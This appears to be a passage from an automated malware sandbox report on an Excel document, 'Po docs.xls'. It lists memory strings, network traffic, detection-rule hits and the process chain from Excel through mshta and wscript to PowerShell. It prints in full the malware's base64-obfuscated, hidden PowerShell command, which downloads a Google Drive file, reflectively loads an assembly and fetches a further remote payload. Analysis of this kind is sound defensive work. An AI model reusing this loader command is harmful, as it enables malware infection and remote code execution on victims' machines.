Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481367241.0000000004241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481367241.0000000004241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.459817046.00000000022C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.509235789.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.499011625.0000000002091000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.547069355.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427447815.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/
Source: mshta.exe, 00000004.00000003.422295255.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.000000000342E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/1
Source: mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/=
Source: mshta.exe, 00000004.00000003.426857155.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427447815.00000000003BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481059282.000000000042A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.0000000000450000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481059282.00000000003FE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481367241.00000000041D2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000450000.00000004.00000020.00020000.00000000.sdmp, Po docs.xls, 37330000.0.dr	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox...j
Source: mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox4
Source: mshta.exe, 00000004.00000003.424111399.0000000000441000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxCUS
Source: mshta.exe, 00000004.00000002.427447815.00000000003BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxD~
Source: mshta.exe, 00000004.00000002.427447815.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.00000000003DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxG~
Source: mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxH
Source: mshta.exe, 0000000F.00000003.475162292.0000000000462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxI
Source: mshta.exe, 00000004.00000002.427447815.00000000003DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxJ~
Source: mshta.exe, 0000000F.00000002.481156677.0000000000450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxQw
Source: mshta.exe, 00000004.00000002.427447815.00000000003BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxZ~
Source: mshta.exe, 0000000F.00000002.481156677.0000000000467000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.0000000000462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxv
Source: powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.509235789.00000000024F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.547069355.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 0000001B.00000002.547069355.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Source: powershell.exe, 0000000E.00000002.509235789.00000000026B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.547069355.0000000002786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 0000000E.00000002.509235789.00000000026B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.547069355.0000000002786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
Source: powershell.exe, 00000005.00000002.459817046.00000000024CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481367241.0000000004241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49169 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 3044, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4032, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: Po docs.xls	OLE: Microsoft Excel 2007+
Source: 37330000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewthingsforme[1].hta

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 